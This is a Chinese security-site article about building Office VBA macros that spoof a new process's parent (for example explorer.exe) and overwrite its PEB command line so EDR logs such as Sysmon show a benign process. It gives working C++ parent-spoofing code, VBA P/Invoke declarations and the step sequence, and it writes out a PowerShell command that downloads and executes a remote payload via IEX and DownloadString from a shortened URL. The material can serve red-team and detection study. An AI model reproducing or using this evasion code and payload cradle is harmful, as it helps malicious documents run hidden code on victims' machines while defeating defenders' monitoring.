构建office宏欺骗父进程和命令行参数-安全客

前言

目前大多数EDR（Endpoint detection and response，终端检测与响应）解决方案都是基于行为进行检测的，通过样本行为对恶意软件进行检测，而不是仅使用静态入侵指示（IOC）对其进行检测。在这篇文章中，我提供了两种VBA技术，用于伪造新进程的父进程和命令行参数。这种实现技术允许制作更隐蔽的Office宏，使宏生成的进程看起来像是由另一个程序（如explorer.exe）创建的，并具有正常的命令行参数。

一、背景

我第一次了解这种技术是在“Wild West Hackin’Fest 2018”大会上，由William Burgess演讲的《Red Teaming in the EDR age》课题。

1.伪造父进程

当一个进程创建子进程时，诸如Sysmon之类的EDR检测软件将会记录创建子进程事件以及子进程相关信息，例如：子进程名称、哈希、文件路径以及父进程信息。因此，我们就可以很方便的构建行为检测规则，例如：“Microsoft Word不会创建powershell.exe进程”规则；根据我的经验，这种规则具有低复杂性，高附加值，产生误报少等特点。

由Microsoft Word创建的PowerShell进程，这看起来属于恶意行为

事实证明，在使用Windows API创建进程时，您可以指定任意进程作为父进程。这不是什么新鲜事，我不会深入地描述。实际上，Didier Stevens在10年前就写过这篇博客。

以下是一个C++代码案例：它将使用任意进程作为父进程创建cmd.exe程序。

#include "pch.h"

#include <iostream>

#include <Windows.h>

#include <winternl.h>

#include <psapi.h>

int main(int argc, char **canttrustthis)

{

PROCESS_INFORMATION pi = { 0 };

STARTUPINFOEXA si = { 0 };

SIZE_T sizeToAllocate;

int parentPid = 9524; // Could be found dynamically as well

// Get a handle on the parent process to use

HANDLE processHandle = OpenProcess(PROCESS_ALL_ACCESS, false, parentPid);

if (processHandle == NULL) {

fprintf(stderr, "OpenProcess failed");

return 1;

}

// Initialize the process start attributes

InitializeProcThreadAttributeList(NULL, 1, 0, &sizeToAllocate);

// Allocate the size needed for the attribute list

si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, sizeToAllocate);

InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &sizeToAllocate);

// Set the PROC_THREAD_ATTRIBUTE_PARENT_PROCESS option to specify the parent process to use

	if (!UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &processHandle, sizeof(HANDLE), NULL, NULL)) {

fprintf(stderr, "UpdateProcThreadAttribute failed");

return 1;

}

si.StartupInfo.cb = sizeof(STARTUPINFOEXA);

printf("Creating process...n");

BOOL success = CreateProcessA(

NULL, // App name

"C:\Windows\system32\calc.exe", // Command line

NULL, // Process attributes

NULL, // Thread attributes

true, // Inherits handles?

EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE, // Creation flags

NULL, // Env

"C:\Windows\system32", // Current dir

(LPSTARTUPINFOA) &si,

&pi

);

if (!success) {

printf("Error %dn", GetLastError());

}

return 0;

}

calc.exe进程看起来像是由notepad.exe创建的

2．伪造命令行参数

这是一种较新的技术，据我所知，正如William Burges在他的演讲中所说的那样，这种技术是由Casey Smith在推特（@subtee）上首次描述讨论的。Adam Chester随后在他的博客上讨论了相关的C++技术验证代码。我鼓励您去阅读他的文章，了解相关的技术实现细节。但是在这里我将快速并简单说明这种技术是如何运作的。

当一个进程创建时，Windows数据结构“Process Environment Block”将映射到进程虚拟内存中。此数据结构包含有关进程本身的大量信息，例如已加载模块列表和用于启动进程的命令行。由于PEB（包含进程的命令行参数数据）存储在进程的内存空间而不是内核空间中，因此只要我们对进程拥有适当的权限，就很容易覆盖它。

PEB里面有notepad.exe的虚拟内存空间，该区域标记为RW，因此我们可以进行写操作

更具体地说，该技术的工作原理如下：

1．在挂起状态下创建子进程；

2．使用NtQueryInformationProcess检索PEB地址；

3．使用WriteProcessMemory覆盖存储在PEB中的命令行数据；

4．恢复进程；

这将导致Windows记录步骤（1）中提供的命令行，即使进程代码即将调用在步骤（3）中覆盖原始命令行的命令行。Adam Chester编写的完整技术验证代码可以在Github上找到。

二、VBA实现

1．目标

这两种技术验证非常棒，但是，我们是否也可以在Office宏中实现相同的功能呢？事实证明，我们可以使用P/Invoke技术直接从VBA代码中调用底层Windows API。

例如，如果我们要调用OpenProcess函数：

…OpenProcess函数的定义如下：

HANDLE OpenProcess(

DWORD dwDesiredAccess,

BOOL bInheritHandle,

DWORD dwProcessId

);

…使用如下VBA代码段进行OpenProcess函数声明：

Private Declare PtrSafe Function OpenProcess Lib "kernel32.dll" ( _

ByVal dwDesiredAccess As Long, _

ByVal bInheritHandle As Integer, _

ByVal dwProcessId As Long _

) As Long

…使用如下VBA代码调用OpenProcess函数打开进程：

Const PROCESS_ALL_ACCESS = &H1F0FFF

Dim handle As LongPtr

Dim PID As Integer

PID = 4444

handle = OpenProcess(PROCESS_ALL_ACCESS, False, PID)

这意味着如果我们在VBA代码中定义所有所需的数据结构，我们应该就能够实现上述两种技术，并使用伪造的父进程与命令行参数去创建一个新进程。

步骤如下：

1．检索一个正常进程的PID，例如explorer.exe；

2．创建一个新进程（例如powershell.exe），将步骤1的进程PID作为父进程，使用合法的命令行参数，并将其创建为挂起状态；

3．覆盖PEB中的进程命令行数据；

4．恢复进程；

作为示例，我们可以使用的原始命令行如下：

powershell.exe -NoExit -c Get-Service -DisplayName '*network*' | Where-Object { $_.Status -eq 'Running' } | Sort-Object DisplayName

这只是一个powershell命令，用于列出名称中包含“network”的正在运行的服务。然后，我们可以使用另一个命令行覆盖它，该命令行将从Internet下载并执行PowerShell有效负载：

powershell.exe -noexit -ep bypass -c IEX((New-Object System.Net.WebClient).DownloadString('http://bit.ly/2TxpA4h'))

2．结果

经过几乎整整一个星期，我一直围绕着VisualBasic、P/Invoke技术进行着相关尝试（我之前从未使用过），最终实现了以上技术：

https://github.com/christophetd/spoofing-office-macro

以下是执行office宏时，Sysmon记录的内容：

而实际的父进程是WINWORD.exe，并且正在执行的实际命令行是：powershell.exe -noexit -ep bypass -c IEX（（New-Object System.Net.WebClient）.DownloadString（'http：//bit.ly/2TxpA4h'））

像Process Monitor这样的工具也适用于这个技术：